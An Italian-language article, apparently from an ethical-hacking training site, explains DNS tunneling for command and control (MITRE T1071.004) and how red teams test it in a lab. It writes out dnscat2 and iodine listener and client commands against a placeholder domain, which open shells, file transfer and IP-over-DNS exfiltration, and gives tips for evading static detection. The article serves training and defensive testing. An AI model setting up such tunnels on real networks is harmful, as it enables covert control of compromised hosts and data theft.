DNS Tunneling: Application Layer Protocol – DNS (T1071.004)

Il protocollo DNS è il tessuto connettivo di qualsiasi rete: ogni applicazione, servizio e browser genera query DNS in continuazione, creando un flusso di traffico considerato "normale" e raramente ispezionato in profondità. Proprio questa ubiquità lo rende un canale ideale per il Command and Control (tattica TA0011), la fase della kill chain in cui l'attaccante deve mantenere un dialogo stabile con i sistemi compromessi senza farsi notare.

La tecnica T1071.004 sfrutta i campi dei pacchetti DNS — sottodomini, record TXT, A, AAAA e OPT — per incapsulare comandi e risposte, trasformando un protocollo amministrativo in un canale bidirezionale nascosto. Il traffico DNS malevolo si mimetizza tra le migliaia di query legittime e, aspetto cruciale, il DNS funziona spesso anche prima dell'autenticazione di rete, garantendo all'avversario un canale disponibile fin dall'istante dell'infezione.

I numeri del framework attestano la popolarità della tecnica: 11 gruppi APT, 41 software e 1 campagna documentata la impiegano. La difficoltà di detection è amplificata dal cosiddetto beaconing a bassa frequenza — comunicazioni distanziate nel tempo che si confondono nel rumore di fondo del DNS legittimo.

Il DNS tunneling è una delle tecniche più gratificanti da testare in laboratorio perché richiede infrastruttura minima e produce risultati visibili immediatamente. L'obiettivo del red teamer è dimostrare che il canale DNS non è monitorato o che i controlli esistenti sono aggirabili.

Preparazione dell'infrastruttura. Serve un dominio di test e un server autoritativo. Registra un dominio economico, configura un record NS che punti al tuo server di test e assicurati che la porta UDP 53 sia raggiungibile. Questa è la base per qualsiasi tool di tunneling.

Con dnscat2 (open source), il flusso è lineare. Sul server di attacco si avvia il listener:

ruby dnscat2.rb dominio.test

Sul client compromesso si stabilisce la connessione:

./dnscat --dns domain=dominio.test

A quel punto il canale è operativo: si possono aprire shell, trasferire file e eseguire comandi. Il traffico appare come una serie di query DNS verso sottodomini del dominio controllato.

Iodine (open source) crea un tunnel IP-over-DNS completo, più pesante ma utile per dimostrare scenari di esfiltrazione massiva. Sul server:

iodined -f 10.0.0.1 tunnel.dominio.test

Sul client:

iodine -f tunnel.dominio.test

Questo crea un'interfaccia di rete virtuale attraverso la quale far transitare qualsiasi protocollo IP, un'escalation significativa rispetto al semplice beaconing.

Per ambienti enterprise dove il red team necessita profili C2 maturi, Cobalt Strike (a pagamento) offre un listener DNS nativo che genera beacon con comunicazione su record A e TXT. La configurazione avviene tramite Malleable C2 profile, dove si personalizzano la frequenza di beaconing, i domini di staging e il jitter. Anche Sliver (open source) e Mythic (open source) supportano profili DNS-based e rappresentano alternative valide per chi opera con budget limitato.

Un aspetto spesso trascurato nei test: variare la lunghezza dei sottodomini e il tipo di record utilizzato. FIN7 ha dimostrato l'uso combinato di record A, OPT e TXT proprio per evadere regole di detection statiche. In laboratorio, replicare questa varietà significa testare realmente la copertura degli alert.

Per validare il successo del tunnel senza dipendere dalla risposta del SOC, cattura il traffico DNS con tcpdump -i eth0 -n port 53 -w dns_tunnel_test.pcap e analizzalo con Wireshark (open source), filtrando per lunghezza anomala delle query e per entropia dei sottodomini.

Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?

Scarica la guida gratuita e segui il percorso corretto fin dal primo passo

We use cookies

Utilizziamo i cookie sul nostro sito Web. Alcuni di essi sono essenziali per il funzionamento del sito, mentre altri ci aiutano a migliorare questo sito e l'esperienza dell'utente (cookie di tracciamento). Puoi decidere tu stesso se consentire o meno i cookie. Ti preghiamo di notare che se li rifiuti, potresti non essere in grado di utilizzare tutte le funzionalità del sito.